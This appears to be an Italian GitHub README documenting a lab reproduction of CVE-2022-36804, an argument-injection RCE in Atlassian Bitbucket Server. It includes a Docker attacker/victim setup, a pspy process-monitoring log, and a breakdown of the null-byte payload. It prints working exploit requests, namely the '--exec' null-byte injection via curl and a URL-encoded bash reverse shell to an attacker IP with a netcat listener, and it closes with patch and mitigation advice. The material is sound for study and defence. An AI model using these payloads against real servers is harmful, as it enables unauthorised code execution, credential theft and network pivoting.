
Riproduzione dell'intera catena di sfruttamento di CVE-2022-36804 (Bitbucket RCE). Include un laboratorio Dockerizzato, monitoraggio pspy64 per la verifica dell'iniezione null-byte e uno script di exploit Bash personalizzato. Basato sulla ricerca di Assetnote.
CVE-2022-36804 è una vulnerabilità di Argument Injection ad alta gravità/critica all'interno dell'API REST di Atlassian Bitbucket Server e Data Center.
Mentre il punteggio base ufficiale dell'NVD National Vulnerability Database è 8.8 (High) basato sul presupposto di privilegi di lettura richiesti (PR:L), questa analisi la tratta come una falla 9.8 (Critical) (PR:N). Se un repository target ha l'accesso pubblico abilitato—una configurazione comune—il vettore di sfruttamento diventa completamente pre-autenticato.
Questo repository documenta una riproduzione in laboratorio dell'intera catena dell'exploit, basata direttamente sulla ricerca tecnica pubblicata da Assetnote.
L'analisi descrive il passaggio dall'orchestrazione dell'ambiente e dall'elusione dei filtri di sicurezza fino al raggiungimento di una reverse shell interattiva. Come evidenziato nella scoperta originale, questa falla consente la Remote Command Execution (RCE), che può essere sfruttata pre-autenticazione se il repository target ha l'accesso pubblico abilitato.
La vulnerabilità affonda le sue radici in una "Discrepanza di Sanitizzazione" (Sanitization Impedance Mismatch) tra il runtime dell'applicazione Java e il sistema operativo Linux.
Come evidenziato nella ricerca di Assetnote, Bitbucket utilizza la libreria NuProcess per costruire ed eseguire i comandi Git. Quando un utente fornisce un parametro prefix all'endpoint /archive, Bitbucket non riesce a rimuovere i caratteri null (%00) prima di passare la lista degli argomenti al sistema operativo.
execve() elabora il comando, tronca la stringa in corrispondenza di %00. A causa del modo in cui NuProcess passa i dati, il sistema operativo tratta tutto ciò che segue il byte nullo come un argomento completamente nuovo.Iniettando --exec=..., un attaccante esce dal flag --prefix previsto e costringe il processo git archive a eseguire un binario arbitrario, portando alla Remote Command Execution (RCE).
Per capire come l'exploit passa da un semplice parametro URL a un comando a livello di sistema operativo, dobbiamo analizzare la struttura del payload e osservare lo "Spostamento dell'Array" (Array Shift).
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
Per simulare una superficie d'attacco realistica, l'ambiente di laboratorio utilizza un'architettura a doppio container isolata all'interno di una rete bridge Docker (hacking_net). Questa configurazione garantisce che lo sfruttamento e il monitoraggio possano essere eseguiti in un ambiente controllato senza influenzare il sistema host.
Nodo Vittima: Esegue Atlassian Bitbucket Server versione 7.17.1. Il container è intenzionalmente chiamato bitbucket-victim. Questo riflette un'importante rifinitura di progettazione fatta per garantire la conformità con l'applicazione dell'RFC 7230 di Apache Tomcat. Utilizzando un trattino invece di un underscore, l'ambiente evita gli errori 400 "Invalid Character" che si verificano durante l'esecuzione del payload—un ostacolo tecnico chiave identificato e risolto durante la fase di ricerca.
Nodo Attaccante: Un'immagine Kali Linux rolling personalizzata. A differenza di un'immagine standard, questo nodo è pre-configurato con il set di strumenti specifico richiesto per questa catena di exploit: git per la manipolazione del repository, curl per la consegna del payload e netcat-traditional per catturare la reverse shell.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Rinominato da bitbucket_victim per evitare problemi di host header durante l'esecuzione del payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]
Se hai già predisposto l'ambiente utilizzando il docker-compose.yml fornito sopra, puoi usare lo script exploit.sh incluso per verificare la vulnerabilità e ottenere una reverse shell in pochi secondi.
1. Prepara il Listener
Sul tuo nodo attaccante Kali (o sulla macchina host), avvia un listener netcat per catturare la shell:
nc.traditional -lvnp 4444
2. Esegui l'Exploit
Esegui lo script fornendo l'IP del Bitbucket target, il nome del Progetto/Repo e i dettagli del tuo listener:
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>
chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444
3. Verifica l'Accesso
Una volta eseguito lo script, controlla il tuo terminale netcat. Dovresti avere una sessione interattiva come utente bitbucket.
whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)
Quello che segue è il log di esecuzione grezzo della sessione di laboratorio, che descrive il passaggio dalla configurazione dell'ambiente a una reverse shell completamente interattiva, inclusi i passaggi di troubleshooting necessari per bypassare la logica applicativa e i vincoli del server web.
Ho iniziato avviando l'ambiente vulnerabile e configurando l'applicazione target.
docker-compose up -d --build per distribuire i container dell'attaccante Kali e della vittima Bitbucket.http://localhost:7990 e ho atteso che la procedura di setup di Bitbucket si inizializzasse.CVE e un repository vuoto chiamato Repo1.
Per verificare l'iniezione in tempo reale anziché affidarmi a test alla cieca, ho deciso di distribuire pspy64 per monitorare i processi Linux sottostanti.
pspy64 dal repository GitHub ufficiale.docker cp pspy64 bitbucket_victim:/tmp/pspy64
# Note that your container would be called bitbucker-victim if you clone this repo.
-u 0) nel container vittima, ho applicato i privilegi di esecuzione e avviato il monitor:docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64
Passando al nodo attaccante (docker exec -it kali_attacker bash), ho lanciato il payload iniziale di remote command execution mirato a creare un file (/tmp/pwned).
curl -s "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
_ nel nome host.
-H "Host: localhost") per forzare il passaggio del payload attraverso il server web fino al layer applicativo di Bitbucket.L'esecuzione del payload aggiornato con l'Host header ha prodotto un nuovo errore:
{"context":null,"message":"You are not permitted to access this resource","exceptionName":null}
/archive negava l'accesso. Ho dedotto che ciò era dovuto al fatto che git archive non può operare su un repository vuoto—ha bisogno di un albero di commit da analizzare.README.md ("This is a test repository for CVE-2022-36804") e ho tentato di eseguirne il push dal container Kali.bitbucket_victim conteneva l'underscore proibito. Questo underscore mi sta perseguitando - lezione imparata!172.19.0.3) e ho eseguito il push del commit usando le credenziali admin:git remote add origin http://[email protected]:7990/scm/cve/repo1.git
git push -u origin master
# If you want to try this out yourself - it should look like this:
# http://[ADMIN-USERNAME]@[VICTIM-IP]:7990/scm/[PROJECTNAME]/[REPONAME].git
Con il repository inizializzato, ho lanciato nuovamente il payload modificato con l'Host header:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
Successo. Passando al mio terminale di monitoraggio, ho osservato la "pistola fumante". pspy64 ha catturato il momento esatto in cui il processo Java passava la stringa iniettata con il byte nullo al kernel Linux. Come previsto nell'analisi tecnica, il sistema operativo ha trattato tutto ciò che seguiva il byte nullo come un nuovo argomento.
Ho seguito con un controllo manuale all'interno del container, confermando che il file /tmp/pwned era stato effettivamente creato dall'utente bitbucket (UID 2003).
Per finalizzare la Proof of Concept e dimostrare l'impatto massimo, sono passato dalla semplice creazione di un file all'ottenimento di un accesso di sistema interattivo completo.
nc.traditional -lvnp 4444
Ho recuperato l'IP interno del mio container Kali usando hostname -I per garantire che la vittima sapesse dove inviare la shell.
Ho eseguito il payload finale. Ho usato una reverse shell bash codificata in URL per garantire che caratteri come >, &, e ' bypassassero i parser delle richieste HTTP di Tomcat:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+%27bash+-i+%3E%26+/dev/tcp/[KALI_CONTAINER_IP]/[LISTENER_PORT]+0%3E%261%27%00--remote=file:///%00x"
Risultato: La connessione si è stabilizzata. Ho ottenuto con successo una shell interattiva come utente di servizio bitbucket, dimostrando un compromissione del servizio riuscita e totale.
È importante distinguere tra l'applicazione web e il sistema operativo sottostante. Questa reverse shell fornisce accesso all'ambiente server, non diritti "Admin" all'interno dell'interfaccia di Bitbucket.
Essendo un'argument injection a livello di sistema operativo, la shell eredita i privilegi del processo padre—in questo caso, l'account di servizio bitbucket (UID 2003).
Sebbene non sia un accesso root immediato, l'impatto è comunque critico:
Furto di Proprietà Intellettuale: Accesso non autorizzato agli oggetti Git sottostanti di tutti i repository ospitati sull'istanza, bypassando di fatto il controllo degli accessi basato sui ruoli (RBAC) interno dell'applicazione.
Raccolta di Credenziali: Accesso ai file di configurazione interni e ai segreti del database.
Pivoting: Il server compromesso può ora essere utilizzato come gateway per attaccare la rete interna.
In un ambiente non indurito, questa è una Compromissione Totale del Servizio. Sebbene sarebbe necessaria una seconda escalation dei privilegi per il controllo completo dell'host, l'obiettivo primario—accedere alla proprietà intellettuale dell'organizzazione—è pienamente realizzato.
Per proteggere le istanze Bitbucket da questa vulnerabilità, Atlassian ha rilasciato patch che implementano una validazione rigorosa sul parametro prefix e aggiornano la logica di esecuzione dei processi per prevenire la divisione degli argomenti tramite byte nulli.
Fix Ufficiale: Aggiornare a Bitbucket Server e Data Center versioni 7.17.10, 7.21.4, 8.0.3, 8.1.3, 8.2.2, 8.3.1, o qualsiasi versione rilasciata dopo agosto 2022.
Mitigazione Immediata: Se un aggiornamento immediato non è possibile, assicurarsi che l'Accesso Pubblico sia disabilitato per tutti i repository. Sebbene ciò non rimuova la vulnerabilità, sposta la superficie d'attacco da un vettore non autenticato (Pre-Auth) a uno autenticato, richiedendo un account utente valido per l'esecuzione.
Questa Proof of Concept è stata sviluppata sintetizzando la ricerca delle seguenti fonti primarie e strumenti di laboratorio:
Ricerca Assetnote: Breaking Bitbucket: Pre-auth RCE (CVE-2022-36804) – La scoperta originale e la descrizione tecnica.
Ispirazione Tecnica: Devcraft - GitHub RCE via Git Injection – La ricerca sull'argument injection in Git che ha ispirato la scoperta di Assetnote.
Immagine Vulnerabile: Atlassian Bitbucket Server 7.17.1 – Il layer specifico del container utilizzato per questa riproduzione.
Strumento di Monitoraggio: pspy (Process Monitoring Tool) – Utilizzato per la verifica white-box dell'argument injection nel kernel Linux.
| Componente | Scopo | Ruolo Tecnico |
|---|
prefix=x | Requisito | git archive richiede un prefix; x funge da segnaposto. |
%00 | Il Coltello | Null-Byte. Java lo passa, ma il kernel Linux basato su C termina la stringa qui. |
--exec=... | Il Trigger RCE | Il Flag Pericoloso. Abusa della funzionalità integrata di Git per eseguire programmi esterni. |
touch ... | L'Azione | Il comando da eseguire. PoC sicuro per verificare la RCE. |
--remote=... | Il Cestino | Assorbe il Commit ID (aggiunto da Bitbucket) come argomento valido, garantendo che il comando venga eseguito correttamente senza errori di sintassi. |
Questo illustra il cuore della vulnerabilità: come Dati (un prefisso di directory) vengono trasformati in Istruzioni (un flag di comando).
Contesto di Esecuzione di Java (Stato Iniziale):
Java vede una singola stringa lunga come terzo argomento.
[
"git", // Indice 0
"archive", // Indice 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Indice 2: La singola stringa inquinata
"1a2b3c4d..." // Indice 3: Aggiunto da Bitbucket
]
Esecuzione del Kernel Linux (Stato Sfruttato):
La syscall execve() del kernel divide la stringa in corrispondenza di ogni byte nullo (\0), spostando i flag iniettati nelle loro posizioni autonome nell'array degli argomenti del processo.
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/HEAD/Eseguibile
"archive", // argv[1]: Sottocomando
"--prefix=x", // argv[2]: Terminato anticipatamente da %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: IL FLAG INIETTATO (RCE)
"--remote=file:///", // argv[4]: IL CESTINO (Reindirizza la logica)
"1a2b3c4d..." // argv[5]: COMMIT ID (Assorbito da --remote)
]